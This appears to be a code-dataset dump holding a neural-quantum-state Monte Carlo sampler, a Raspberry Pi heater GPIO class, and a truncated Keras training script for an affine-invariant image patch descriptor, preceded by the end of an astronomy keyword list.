"supermassive stars",
"surface science",
"surveys",
"symmetrical bodies",
"symmetry",
"synchronism",
"synchrotron radiation",
"systems analysis",
"systems engineering",
"systems stability",
"tables",
"taxonomy",
"techniques analytical",
"techniques high angular resolution",
"techniques image processing",
"techniques interferometric",
"techniques miscellaneous",
"techniques photometric",
"techniques polarimetric",
"techniques radial velocities",
"techniques spectroscopic",
"telescopes",
"temperature",
"terminal velocity",
"the galaxy solar neighbourhood",
"theory",
"thermalization",
"thermochemistry",
"thermodynamics",
"theta",
"thickness",
"tides",
"time",
"titanium",
"tmc 1",
"tomography",
"toroids",
"torque",
"toruses",
"trace elements",
"tracers",
"trajectories",
"transfer functions",
"transient heating",
"transient response",
"transition",
"transparence",
"transport theory",
"transverse acceleration",
"transverse oscillation",
"trapped particles",
"trapping",
"trees",
"triangles",
"triaxial stresses",
"trigonometry",
"turbulence",
"tvd schemes",
"twisting",
"ubv spectra",
"ultrahigh frequencies",
"umbras",
"universe",
"upper centaurus lupus",
"upstream",
"uranus",
"uv galaxies",
"uz tauri",
"vacuum",
"vanadium",
"variability",
"variable mass systems",
"variables",
"variables other",
"variations",
"vectors",
"vega project",
"velocity",
"velocity distribution",
"velocity measurement",
"vertical distribution",
"vertical motion",
"vertical orientation",
"very high frequencies",
"vibration mode",
"video data",
"vidicons",
"virgo galactic cluster",
"vortex sheets",
"vortices",
"warpage",
"water",
"waves",
"weak interactions",
"whistlers",
"white noise",
"winds",
"x rays galaxies",
"x rays stars",
"yttrium",
"zinc",
"zirconium",
"zodiacASTkeywords.set"]
| none | 1 | 1.314995 | 1 | |
nqs_tf/sampler/sampler.py | ameya1101/neural-quantum-states | 0 | 6616203 | from hamiltonians.ising import Ising1D
import numpy as np
import tensorflow as tf
import os
from tqdm import tqdm
class MetropolisHastingsSampler:
""" Implements Markov Chain Monte Carlo Sampling of the wavefunction.
This class implements a Varitional Monte Carlo Sampler that uses the Metropolis-Hastings
algorithm. When instantiated, the current state of the sampler is randomly initialized.
The sampler runs for `num_sweeps` iterations, that is `num_sweeps` samples are drawn for Monte-Carlo
statistics. In each run, the sampler burns in or discards the first `sweep_factor * num_spins` samples
drawn. With the last drawn state, the sampler computes the local energy and simultaneously also computes the
quantity d(ln Ψ) which is used by the optimizer.
Call Arguments
--------------
hamiltonian: Ising1D
The Hamiltonian object for the system.
(Presently only the Ising1D Hamiltonian is supported)
nqs
The neural network quantum state, Ψ. Any TensorFlow Model object is supported.
init_state
A state to initialize the sampler.
write_energies
If True, writes the computed ground state energies at each epoch to ./data/energies.txt
"""
def __init__(
self,
hamiltonian: Ising1D,
nqs: tf.keras.models.Model,
init_state=None,
write_energies: bool=True
):
self.hamiltonian = hamiltonian
self.num_spins = self.hamiltonian.get_spins()
self.nqs = nqs
# Stores the states admitted by the sampler
self.state_history = []
# Stores the computed local energies
self.local_energies = []
# Stores the computed d(log Ψ) values
self.dpsi_over_psi_list = []
# Stores local energy * d(log Ψ) values
self.eloc_times_dpsi_list = []
# The computed ground state energy
self.nqs_energy = 0
# The computed error in the ground state energy
self.nqs_energy_error = 0
# The last computed local energy
self.current_eloc = 0
# The random number generator object for the sampler
self.rng = np.random.default_rng()
self.write_energies = write_energies
if init_state is None:
self.init_random_state()
else:
self.current_state = init_state
if self.write_energies is True:
if not os.path.exists('.data/'):
os.makedirs('./data', exist_ok=True)
def init_random_state(self):
""" Initializes the current state of the sampler to a randomly generated state. """
self.current_state = self.rng.uniform(size=[1, self.num_spins])
self.current_state = np.where(self.current_state < 0.5, -1.0, 1.0)
def choose_random_site(self):
""" Chooses a random site in the configuration/state to flip. """
return [self.rng.integers(low=0, high=self.num_spins - 1)]
def reset_state_history(self):
""" Resets the state history """
self.state_history = []
def flip_spin(self):
""" Given a randomly chosen site, flips the spin at that site. """
site = self.choose_random_site()
candidate = np.copy(self.current_state)
candidate[0][site] *= -1.0
return candidate
def amplitude_ratio(self, state, candidate):
""" Given a two states 'state' and 'candidate', computes Ψ(candidate)/Ψ(state)
"""
a = self.nqs(candidate)
b = self.nqs(state)
return tf.math.divide(a, b)
def move(self):
""" Defines one move of the sampler.
A move consists of flipping a random site in the current state to generate
a candidate state. If the ratio r = |Ψ(candidate)/Ψ(state)|^2 is >=1, the
candidate state is accepted. If r < 1, then if r > uniform(0, 1), the candidate state is accepted
and set to the current state in the Markov chain.
"""
candidate = self.flip_spin()
psi_ratio = self.amplitude_ratio(self.current_state, candidate)
r = tf.math.square(tf.math.abs(psi_ratio))
if r.numpy() >= 1:
self.current_state = candidate
else:
if r.numpy() >= self.rng.uniform(low=0, high=1):
self.current_state = candidate
def burn_in(self, sweep_factor):
""" Burns in the sampler.
Burn-in is performed by running the sampler for `sweep_factor * num_spins` iterations
and discarding the drawn samples by not counted them towards any Monte-Carlo statistics.
"""
for _ in range(sweep_factor * self.num_spins):
self.move()
def run(self, num_sweeps, sweep_factor=1):
""" Defines one run of the sampler.
One run of the sampler consists of performing the following steps `num_sweeps` times:
1. Performing a burn-in
2. Computing the local energy using the last drawn state
3. Computing the quantities d(log Ψ) and local energy * d(log Ψ).
"""
print("Starting Monte-Carlo Sampling...")
print(f"{num_sweeps} sweeps will be perfomed.")
self.reset_state_history()
for _ in tqdm(range(num_sweeps)):
self.burn_in(sweep_factor)
self.current_eloc = self.find_local_energy()
self.local_energies.append(self.current_eloc)
self.state_history.append(self.current_state)
self.dpsi_over_psi()
print('Completed Monte-Carlo Sampling.')
self.estimate_ground_energy()
def dpsi_over_psi(self):
""" Computes the quantity d(log Ψ) ≡ dΨ/Ψ and local energy * d(log Ψ)
For a detailed description of the procedure involved, see
https://doi.org/10.1002/adts.202000269
"""
with tf.GradientTape() as tape:
psi = self.nqs(self.current_state)
log_psi = tf.math.log(psi)
weights = self.nqs.trainable_variables
dpsi_over_psi_ = tape.gradient(log_psi, weights)
self.dpsi_over_psi_list.append(dpsi_over_psi_)
self.eloc_times_dpsi_list.append(self.current_eloc.numpy() * dpsi_over_psi_)
def find_local_energy(self):
""" Computes the local energy for a drawn state. """
state = self.current_state
(mat_elements, spin_flip_sites) = self.hamiltonian.find_nonzero_elements(state)
flipped_states = [np.copy(state) for _ in spin_flip_sites]
for i, site in enumerate(spin_flip_sites):
flipped_states[i][0][site] *= -1
energies = [self.amplitude_ratio(state, flipped_states[i])* element for (i, element) in enumerate(mat_elements)]
return sum(energies)
def estimate_ground_energy(self):
""" Computes a stochastic estimate of the ground state energy.
This computations uses blocking to account for autocorrelation between the drawn samples.
"""
nblocks = 50
blocksize = len(self.local_energies) // nblocks
enmean = 0
enmeansq = 0
enmean_unblocked = 0
enmean_sq_unblocked = 0
for block in range(nblocks):
eblock = 0
for j in range(block*blocksize, (block + 1) * blocksize):
eblock += self.local_energies[j]
delta = self.local_energies[j] - enmean_unblocked
enmean_unblocked += delta / (j + 1)
delta2 = self.local_energies[j] - enmean_unblocked
enmean_sq_unblocked += delta * delta2
eblock /= blocksize
delta = eblock - enmean
enmean += delta / (block + 1)
delta2 = eblock - enmean
enmeansq += delta * delta2
enmeansq /= (nblocks - 1)
enmean_sq_unblocked /= (nblocks * blocksize - 1)
est_avg = enmean / self.num_spins
est_error = np.sqrt(enmeansq / nblocks) / self.num_spins
self.nqs_energy = enmean
self.nqs_energy_error = np.sqrt(enmeansq / nblocks)
print(f"Estimated ground state energy: {self.nqs_energy} +/- {self.nqs_energy_error}")
energy_report = f"Estimated average energy per spin: {est_avg} +/- {est_error}"
print(energy_report)
if self.write_energies:
with open('./data/energies.txt', 'ab') as f:
np.savetxt(f, np.array([self.nqs_energy]))
bin_report = f'Error estimated with binning analysis consisting of {nblocks} bins of {blocksize} samples each.'
print(bin_report)
self.correlation_time = 0.5 * blocksize * enmeansq / enmean_sq_unblocked
autocorrelation_report = f'Estimated autocorrelation time is {self.correlation_time}'
print(autocorrelation_report) | from hamiltonians.ising import Ising1D
import numpy as np
import tensorflow as tf
import os
from tqdm import tqdm
class MetropolisHastingsSampler:
""" Implements Markov Chain Monte Carlo Sampling of the wavefunction.
This class implements a Varitional Monte Carlo Sampler that uses the Metropolis-Hastings
algorithm. When instantiated, the current state of the sampler is randomly initialized.
The sampler runs for `num_sweeps` iterations, that is `num_sweeps` samples are drawn for Monte-Carlo
statistics. In each run, the sampler burns in or discards the first `sweep_factor * num_spins` samples
drawn. With the last drawn state, the sampler computes the local energy and simultaneously also computes the
quantity d(ln Ψ) which is used by the optimizer.
Call Arguments
--------------
hamiltonian: Ising1D
The Hamiltonian object for the system.
(Presently only the Ising1D Hamiltonian is supported)
nqs
The neural network quantum state, Ψ. Any TensorFlow Model object is supported.
init_state
A state to initialize the sampler.
write_energies
If True, writes the computed ground state energies at each epoch to ./data/energies.txt
"""
def __init__(
self,
hamiltonian: Ising1D,
nqs: tf.keras.models.Model,
init_state=None,
write_energies: bool=True
):
self.hamiltonian = hamiltonian
self.num_spins = self.hamiltonian.get_spins()
self.nqs = nqs
# Stores the states admitted by the sampler
self.state_history = []
# Stores the computed local energies
self.local_energies = []
# Stores the computed d(log Ψ) values
self.dpsi_over_psi_list = []
# Stores local energy * d(log Ψ) values
self.eloc_times_dpsi_list = []
# The computed ground state energy
self.nqs_energy = 0
# The computed error in the ground state energy
self.nqs_energy_error = 0
# The last computed local energy
self.current_eloc = 0
# The random number generator object for the sampler
self.rng = np.random.default_rng()
self.write_energies = write_energies
if init_state is None:
self.init_random_state()
else:
self.current_state = init_state
if self.write_energies is True:
if not os.path.exists('.data/'):
os.makedirs('./data', exist_ok=True)
def init_random_state(self):
""" Initializes the current state of the sampler to a randomly generated state. """
self.current_state = self.rng.uniform(size=[1, self.num_spins])
self.current_state = np.where(self.current_state < 0.5, -1.0, 1.0)
def choose_random_site(self):
""" Chooses a random site in the configuration/state to flip. """
return [self.rng.integers(low=0, high=self.num_spins - 1)]
def reset_state_history(self):
""" Resets the state history """
self.state_history = []
def flip_spin(self):
""" Given a randomly chosen site, flips the spin at that site. """
site = self.choose_random_site()
candidate = np.copy(self.current_state)
candidate[0][site] *= -1.0
return candidate
def amplitude_ratio(self, state, candidate):
""" Given a two states 'state' and 'candidate', computes Ψ(candidate)/Ψ(state)
"""
a = self.nqs(candidate)
b = self.nqs(state)
return tf.math.divide(a, b)
def move(self):
""" Defines one move of the sampler.
A move consists of flipping a random site in the current state to generate
a candidate state. If the ratio r = |Ψ(candidate)/Ψ(state)|^2 is >=1, the
candidate state is accepted. If r < 1, then if r > uniform(0, 1), the candidate state is accepted
and set to the current state in the Markov chain.
"""
candidate = self.flip_spin()
psi_ratio = self.amplitude_ratio(self.current_state, candidate)
r = tf.math.square(tf.math.abs(psi_ratio))
if r.numpy() >= 1:
self.current_state = candidate
else:
if r.numpy() >= self.rng.uniform(low=0, high=1):
self.current_state = candidate
def burn_in(self, sweep_factor):
""" Burns in the sampler.
Burn-in is performed by running the sampler for `sweep_factor * num_spins` iterations
and discarding the drawn samples by not counted them towards any Monte-Carlo statistics.
"""
for _ in range(sweep_factor * self.num_spins):
self.move()
def run(self, num_sweeps, sweep_factor=1):
""" Defines one run of the sampler.
One run of the sampler consists of performing the following steps `num_sweeps` times:
1. Performing a burn-in
2. Computing the local energy using the last drawn state
3. Computing the quantities d(log Ψ) and local energy * d(log Ψ).
"""
print("Starting Monte-Carlo Sampling...")
print(f"{num_sweeps} sweeps will be perfomed.")
self.reset_state_history()
for _ in tqdm(range(num_sweeps)):
self.burn_in(sweep_factor)
self.current_eloc = self.find_local_energy()
self.local_energies.append(self.current_eloc)
self.state_history.append(self.current_state)
self.dpsi_over_psi()
print('Completed Monte-Carlo Sampling.')
self.estimate_ground_energy()
def dpsi_over_psi(self):
""" Computes the quantity d(log Ψ) ≡ dΨ/Ψ and local energy * d(log Ψ)
For a detailed description of the procedure involved, see
https://doi.org/10.1002/adts.202000269
"""
with tf.GradientTape() as tape:
psi = self.nqs(self.current_state)
log_psi = tf.math.log(psi)
weights = self.nqs.trainable_variables
dpsi_over_psi_ = tape.gradient(log_psi, weights)
self.dpsi_over_psi_list.append(dpsi_over_psi_)
self.eloc_times_dpsi_list.append(self.current_eloc.numpy() * dpsi_over_psi_)
def find_local_energy(self):
""" Computes the local energy for a drawn state. """
state = self.current_state
(mat_elements, spin_flip_sites) = self.hamiltonian.find_nonzero_elements(state)
flipped_states = [np.copy(state) for _ in spin_flip_sites]
for i, site in enumerate(spin_flip_sites):
flipped_states[i][0][site] *= -1
energies = [self.amplitude_ratio(state, flipped_states[i])* element for (i, element) in enumerate(mat_elements)]
return sum(energies)
def estimate_ground_energy(self):
""" Computes a stochastic estimate of the ground state energy.
This computations uses blocking to account for autocorrelation between the drawn samples.
"""
nblocks = 50
blocksize = len(self.local_energies) // nblocks
enmean = 0
enmeansq = 0
enmean_unblocked = 0
enmean_sq_unblocked = 0
for block in range(nblocks):
eblock = 0
for j in range(block*blocksize, (block + 1) * blocksize):
eblock += self.local_energies[j]
delta = self.local_energies[j] - enmean_unblocked
enmean_unblocked += delta / (j + 1)
delta2 = self.local_energies[j] - enmean_unblocked
enmean_sq_unblocked += delta * delta2
eblock /= blocksize
delta = eblock - enmean
enmean += delta / (block + 1)
delta2 = eblock - enmean
enmeansq += delta * delta2
enmeansq /= (nblocks - 1)
enmean_sq_unblocked /= (nblocks * blocksize - 1)
est_avg = enmean / self.num_spins
est_error = np.sqrt(enmeansq / nblocks) / self.num_spins
self.nqs_energy = enmean
self.nqs_energy_error = np.sqrt(enmeansq / nblocks)
print(f"Estimated ground state energy: {self.nqs_energy} +/- {self.nqs_energy_error}")
energy_report = f"Estimated average energy per spin: {est_avg} +/- {est_error}"
print(energy_report)
if self.write_energies:
with open('./data/energies.txt', 'ab') as f:
np.savetxt(f, np.array([self.nqs_energy]))
bin_report = f'Error estimated with binning analysis consisting of {nblocks} bins of {blocksize} samples each.'
print(bin_report)
self.correlation_time = 0.5 * blocksize * enmeansq / enmean_sq_unblocked
autocorrelation_report = f'Estimated autocorrelation time is {self.correlation_time}'
print(autocorrelation_report) | en | 0.817899 | Implements Markov Chain Monte Carlo Sampling of the wavefunction. This class implements a Varitional Monte Carlo Sampler that uses the Metropolis-Hastings algorithm. When instantiated, the current state of the sampler is randomly initialized. The sampler runs for `num_sweeps` iterations, that is `num_sweeps` samples are drawn for Monte-Carlo statistics. In each run, the sampler burns in or discards the first `sweep_factor * num_spins` samples drawn. With the last drawn state, the sampler computes the local energy and simultaneously also computes the quantity d(ln Ψ) which is used by the optimizer. Call Arguments -------------- hamiltonian: Ising1D The Hamiltonian object for the system. (Presently only the Ising1D Hamiltonian is supported) nqs The neural network quantum state, Ψ. Any TensorFlow Model object is supported. init_state A state to initialize the sampler. write_energies If True, writes the computed ground state energies at each epoch to ./data/energies.txt # Stores the states admitted by the sampler # Stores the computed local energies # Stores the computed d(log Ψ) values # Stores local energy * d(log Ψ) values # The computed ground state energy # The computed error in the ground state energy # The last computed local energy # The random number generator object for the sampler Initializes the current state of the sampler to a randomly generated state. Chooses a random site in the configuration/state to flip. Resets the state history Given a randomly chosen site, flips the spin at that site. Given a two states 'state' and 'candidate', computes Ψ(candidate)/Ψ(state) Defines one move of the sampler. A move consists of flipping a random site in the current state to generate a candidate state. If the ratio r = |Ψ(candidate)/Ψ(state)|^2 is >=1, the candidate state is accepted. If r < 1, then if r > uniform(0, 1), the candidate state is accepted and set to the current state in the Markov chain. Burns in the sampler. Burn-in is performed by running the sampler for `sweep_factor * num_spins` iterations and discarding the drawn samples by not counted them towards any Monte-Carlo statistics. Defines one run of the sampler. One run of the sampler consists of performing the following steps `num_sweeps` times: 1. Performing a burn-in 2. Computing the local energy using the last drawn state 3. Computing the quantities d(log Ψ) and local energy * d(log Ψ). Computes the quantity d(log Ψ) ≡ dΨ/Ψ and local energy * d(log Ψ) For a detailed description of the procedure involved, see https://doi.org/10.1002/adts.202000269 Computes the local energy for a drawn state. Computes a stochastic estimate of the ground state energy. This computations uses blocking to account for autocorrelation between the drawn samples. | 2.764542 | 3 |
openmycelium/interface_heater.py | davidsean/OpenMycelium | 5 | 6616204 |
import logging
import RPi.GPIO as GPIO
from .interface_relay import InterfaceRelay
class InterfaceHeater(InterfaceRelay):
def __init__(self, power_pin, pwm_pin=None):
self._logger = logging.getLogger(__name__)
self.power_pin = power_pin
self.pwm_pin = pwm_pin
super().__init__(self.power_pin)
# setup GPIO pins
GPIO.setmode(GPIO.BOARD)
if self.pwm_pin is not None:
self._setup_pwm()
def __del__(self):
""" Call GPIO.cleanup on all used pins
"""
if self.pwm_pin is not None:
GPIO.cleanup(self.pwm_pin)
def _setup_pwm(self):
GPIO.setup(self.pwm_pin, GPIO.OUT)
|
import logging
import RPi.GPIO as GPIO
from .interface_relay import InterfaceRelay
class InterfaceHeater(InterfaceRelay):
def __init__(self, power_pin, pwm_pin=None):
self._logger = logging.getLogger(__name__)
self.power_pin = power_pin
self.pwm_pin = pwm_pin
super().__init__(self.power_pin)
# setup GPIO pins
GPIO.setmode(GPIO.BOARD)
if self.pwm_pin is not None:
self._setup_pwm()
def __del__(self):
""" Call GPIO.cleanup on all used pins
"""
if self.pwm_pin is not None:
GPIO.cleanup(self.pwm_pin)
def _setup_pwm(self):
GPIO.setup(self.pwm_pin, GPIO.OUT)
| en | 0.58693 | # setup GPIO pins Call GPIO.cleanup on all used pins | 2.724046 | 3 |
AID-train-model.py | rdguez-mariano/sift-aid | 14 | 6616205 | MODEL_NAME = 'AID_simCos_BigDesc_dropout'
DegMax = 60
Debug = True
Parallel = False
ConstrastSimu = True # if True it randomly simulates contrast changes for each patch
DoBigEpochs = True
batch_number = 32
N_epochs = 5000
steps_epoch=100
NeededData = batch_number * N_epochs * steps_epoch + 1
SHOW_TB_weights = False # Show Net-weights info in TensorBoard
if MODEL_NAME[0:10]=="AID_simCos":
TripleLoss = True
NORM = 'hinge'
else:
TripleLoss = False
NORM = 'cross-entropy'
# When default GPU is being used... prepare to use a second one
# import os
# os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152
# os.environ["CUDA_VISIBLE_DEVICES"]="0"
from library import *
from acc_test_library import *
import numpy as np
import time
import random
import cv2
def ProcessData(GA, stacked_patches, groundtruth_pts):
if ConstrastSimu:
channels = np.int32(np.shape(stacked_patches)[2]/2)
val1 = random.uniform(1/3, 3)
val2 = random.uniform(1/3, 3)
for i in range(channels):
stacked_patches[:,:,i] = np.power(stacked_patches[:,:,i],val1)
stacked_patches[:,:,channels+i] = np.power(stacked_patches[:,:,channels+i],val2)
return stacked_patches, groundtruth_pts #if ConstrastSimu==False -> Identity
GAval = GenAffine("./imgs-val/", save_path = "./db-gen-val-"+str(DegMax)+"/", DoBigEpochs = DoBigEpochs, tmax = DegMax)
GAtrain = GenAffine("./imgs-train/", save_path = "./db-gen-train-"+str(DegMax)+"/", DoBigEpochs = DoBigEpochs, tmax = DegMax)
Set_FirstThreadTouch(GAval,False)
Set_FirstThreadTouch(GAtrain,False)
stacked_patches, groundtruth_pts = GAtrain.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GAtrain, stacked_patches, groundtruth_pts)
def affine_generator(GA, batch_num=32, Force2Gen=False, ForceFast=False):
P_list = []
GT_list = []
FastThread = False
t2sleep = 2*random.random()
time.sleep(t2sleep)
assert Force2Gen==False or ForceFast==False
if ForceFast:
FastThread = True
if Force2Gen==False and Check_FirstThreadTouch(GA)==False:
print("Fast Thread Created ! Needs "+str(NeededData)+" generated data")
Set_FirstThreadTouch(GA,True)
FastThread = True
while True:
if FastThread and ForceFast==False:
GA.ScatteredGenData_2_BlockData() # it will be really done every 30 minutes
stacked_patches, groundtruth_pts = [], []
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pa = stacked_patches[:,:,0]
Pp = stacked_patches[:,:,1]
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pn = stacked_patches[:,:,0]
vgg_input_shape = np.shape(Pa)
vgg_output_shape = np.shape([1])
bPshape = tuple([batch_num]) + tuple(vgg_input_shape) + tuple([1])
bGTshape = tuple([batch_num]) + tuple(vgg_output_shape)
bP1 = np.zeros(shape=bPshape)
bP2 = np.zeros(shape=bPshape)
bP3 = np.zeros(shape=bPshape)
bGT = np.zeros(shape=bGTshape, dtype = np.float32)
if NORM=='hinge':
bP1[0,:,:,0] = Pa
bP2[0,:,:,0] = Pp
bP3[0,:,:,0] = Pn
else:
bP1[0,:,:,0] = Pa
bP2[0,:,:,0] = Pp
bGT[0,0] = 1.0
for i in range(1,batch_num):
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pa = stacked_patches[:,:,0]
Pp = stacked_patches[:,:,1]
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pn = stacked_patches[:,:,0]
if NORM=='hinge':
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pp
bP3[i,:,:,0] = Pn
else:
if random.randint(0,1)>0.5:
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pp
bGT[i,0] = 1.0
else:
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pn
bGT[i,0] = 0.0
# print('These numbers should not repeat in other lines: '+ str(bP[0,0,0,0])+" "+str(bP[-1,0,0,0]))
# print('Gen batch: '+str(np.shape(bP))+', '+str(np.shape(bGT)))
if NORM=='hinge':
yield [bP1, bP2, bP3], None
else:
yield [bP1, bP2, bGT], None
# VGG like network
from keras import layers
from keras.models import Model
import tensorflow as tf
from keras.backend.tensorflow_backend import set_session
config = tf.ConfigProto(allow_soft_placement=True)
#, device_count = {'CPU' : 1, 'GPU' : 1})
config.gpu_options.per_process_gpu_memory_fraction = 0.1
set_session(tf.Session(config=config))
from models import *
vgg_input_shape = np.shape(stacked_patches)[0:2] + tuple([1])
train_model, sim_type = create_model(vgg_input_shape, None, model_name = MODEL_NAME, Norm=NORM, resume = False)
# ---> TRAIN NETWORK
import math
import scipy.special
import random
from sklearn.manifold import TSNE, MDS
from sklearn.metrics import f1_score, accuracy_score
from keras.callbacks import TerminateOnNaN, ModelCheckpoint, TensorBoard, LambdaCallback, ReduceLROnPlateau
import os
from shutil import copyfile
import matplotlib.pyplot as plt
plt.switch_backend('agg')
#modified from http://seoulai.com/2018/02/06/keras-and-tensorboard.html
class TensorboardKeras(object):
def __init__(self, model, log_dir, GAval, GAtrain, static_val_num=500):
self.model = model
self.log_dir = log_dir
self.session = K.get_session()
self.lastloss = float('nan')
self.lastvalloss = float('nan')
self.GAval = GAval
self.GAtrain = GAtrain
self.static_val_num = static_val_num
self.acc_data_Pa = []
self.acc_data_Pp = []
self.acc_data_names = []
self.lastacc = 0
self.TKid = random.randint(0,1000)
self.P1_pos, self.P2_pos, self.P1_neg, self.P2_neg = [], [], [], []
self.acc_TP_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('accuracy/TruePositives', self.acc_TP_ph)
self.acc_TN_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('accuracy/TrueNegatives', self.acc_TN_ph)
self.lr_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('Learning_rate', self.lr_ph)
self.big_epoch = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('Big_Epoch', self.big_epoch)
self.val_loss_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('losses/validation', self.val_loss_ph)
self.train_loss_ph = tf.placeholder(dtype=tf.float32)
tf.summary.scalar('losses/training', self.train_loss_ph)
# self.sift = cv2.xfeatures2d.SIFT_create( nfeatures = siftparams.nfeatures,
# nOctaveLayers = siftparams.nOctaveLayers, contrastThreshold = siftparams.contrastThreshold,
# edgeThreshold = siftparams.edgeThreshold, sigma = siftparams.sigma)
self.global_acc_holder = tf.placeholder(dtype=tf.float32)
tf.summary.scalar('accuracy/_GLOBAL_', self.global_acc_holder)
self.acc_test_holder = []
for file in glob.glob('./acc-test/*.txt'):
self.acc_data_names.append( os.path.basename(file)[:-4] )
i = len(self.acc_data_names) - 1
pathway = './acc-test/' + self.acc_data_names[i]
asift_KPlist1, patches1, GT_Avec_list, asift_KPlist2, patches2 = load_acc_test_data(pathway)
Pa = np.zeros(shape=tuple([len(patches1)])+tuple(np.shape(patches1)[1:])+tuple([1]),dtype=np.float32)
Pp = np.zeros(shape=tuple([len(patches1)])+tuple(np.shape(patches1)[1:])+tuple([1]),dtype=np.float32)
for k in range(0,len(patches1)):
Pa[k,:,:,0] = patches1[k][:,:]/self.GAval.imgdivfactor
Pp[k,:,:,0] = patches2[k][:,:]/self.GAval.imgdivfactor
self.acc_data_Pa.append( Pa )
self.acc_data_Pp.append( Pp )
self.acc_test_holder.append(tf.placeholder(dtype=tf.float32))
tf.summary.scalar('accuracy/'+self.acc_data_names[i], self.acc_test_holder[i])
if SHOW_TB_weights:
l = np.shape(self.model.get_layer("aff_desc").get_weights())[0]
self.weightsholder = []
for i in range(0,l):
self.weightsholder.append(tf.placeholder(dtype=tf.float32))
self.variable_summaries(self.weightsholder[i], 'weights/'+repr(i).zfill(3)+'-layer')
self.merged = tf.summary.merge_all()
self.writer = tf.summary.FileWriter(self.log_dir)
copyfile(os.path.realpath(__file__), self.log_dir+"/"+os.path.basename(__file__))
def variable_summaries(self,var,name):
"""Attach a lot of summaries to a Tensor (for TensorBoard visualization)."""
with tf.name_scope(name):
mean = tf.reduce_mean(var)
tf.summary.scalar('mean', mean)
tf.summary.scalar('max', tf.reduce_max(var))
tf.summary.scalar('min', tf.reduce_min(var))
tf.summary.histogram('histogram', var)
stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))
tf.summary.scalar('stddev', stddev)
def _get_lr(self):
return K.eval(self.model.optimizer.lr)
def _get_weights(self,wpos):
return self.model.get_layer("aff_desc").get_weights()[wpos]
def on_epoch_end(self, epoch, logs):
self.lastloss = np.ravel(logs['loss'])[0]
self.lastvalloss = np.ravel(logs['val_loss'])[0]
def on_epoch_begin(self, epoch, logs):
for d in affine_generator(self.GAval, batch_num=self.static_val_num, ForceFast=True):
if TripleLoss: #
self.P1_pos = d[0][0]
self.P2_pos = d[0][1]
self.P1_neg = d[0][0]
self.P2_neg = d[0][2]
else:
lpos, lneg = 0, 0
for i in range(0,len(d[0][2])):
if d[0][2][i]>0.5:
lpos +=1
else:
lneg +=1
self.P1_pos = np.zeros(shape=tuple([lpos])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P2_pos = np.zeros(shape=tuple([lpos])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P1_neg = np.zeros(shape=tuple([lneg])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P2_neg = np.zeros(shape=tuple([lneg])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
i_p, i_n = 0, 0
for i in range(0,len(d[0][2])):
if d[0][2][i]>0.5:
self.P1_pos[i_p,:,:,:] = d[0][0][i,:,:,:]
self.P2_pos[i_p,:,:,:] = d[0][1][i,:,:,:]
i_p += 1
else:
self.P1_neg[i_n,:,:,:] = d[0][0][i,:,:,:]
self.P2_neg[i_n,:,:,:] = d[0][1][i,:,:,:]
i_n += 1
break
emb_1_pos = self.model.get_layer("aff_desc").predict(self.P1_pos)
emb_2_pos = self.model.get_layer("aff_desc").predict(self.P2_pos)
emb_1_neg = self.model.get_layer("aff_desc").predict(self.P1_neg)
emb_2_neg = self.model.get_layer("aff_desc").predict(self.P2_neg)
if sim_type=='inlist':
acc_pos = np.sum( self.model.get_layer("sim").predict([emb_1_pos, emb_2_pos]) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict([emb_1_neg,emb_2_neg]) )/np.shape(emb_1_neg)[0]
elif sim_type=='diff':
acc_pos = np.sum( self.model.get_layer("sim").predict([emb_1_pos-emb_2_pos]) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict([emb_1_neg-emb_2_neg]) )/np.shape(emb_1_neg)[0]
elif sim_type=='concat':
acc_pos = np.sum( self.model.get_layer("sim").predict(np.concatenate((emb_1_pos,emb_2_pos),axis=-1)) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict(np.concatenate((emb_1_neg,emb_2_neg),axis=-1)) )/np.shape(emb_1_neg)[0]
my_dict = {
self.lr_ph: self._get_lr(),
self.acc_TP_ph: acc_pos,
self.acc_TN_ph: acc_neg,
self.val_loss_ph: self.lastvalloss,
self.big_epoch: get_big_epoch_number(self.GAtrain),
self.train_loss_ph: self.lastloss,
}
if SHOW_TB_weights:
l = np.shape(self.model.get_layer("aff_desc").get_weights())[0]
for i in range(0,l):
my_dict.update({self.weightsholder[i]: self._get_weights(i)})
RealAccPos = []
acc = 0.0
for i in range(0,len(self.acc_data_Pa)):
emb_1 = self.model.get_layer("aff_desc").predict(self.acc_data_Pa[i])
emb_2 = self.model.get_layer("aff_desc").predict(self.acc_data_Pp[i])
if sim_type=='inlist':
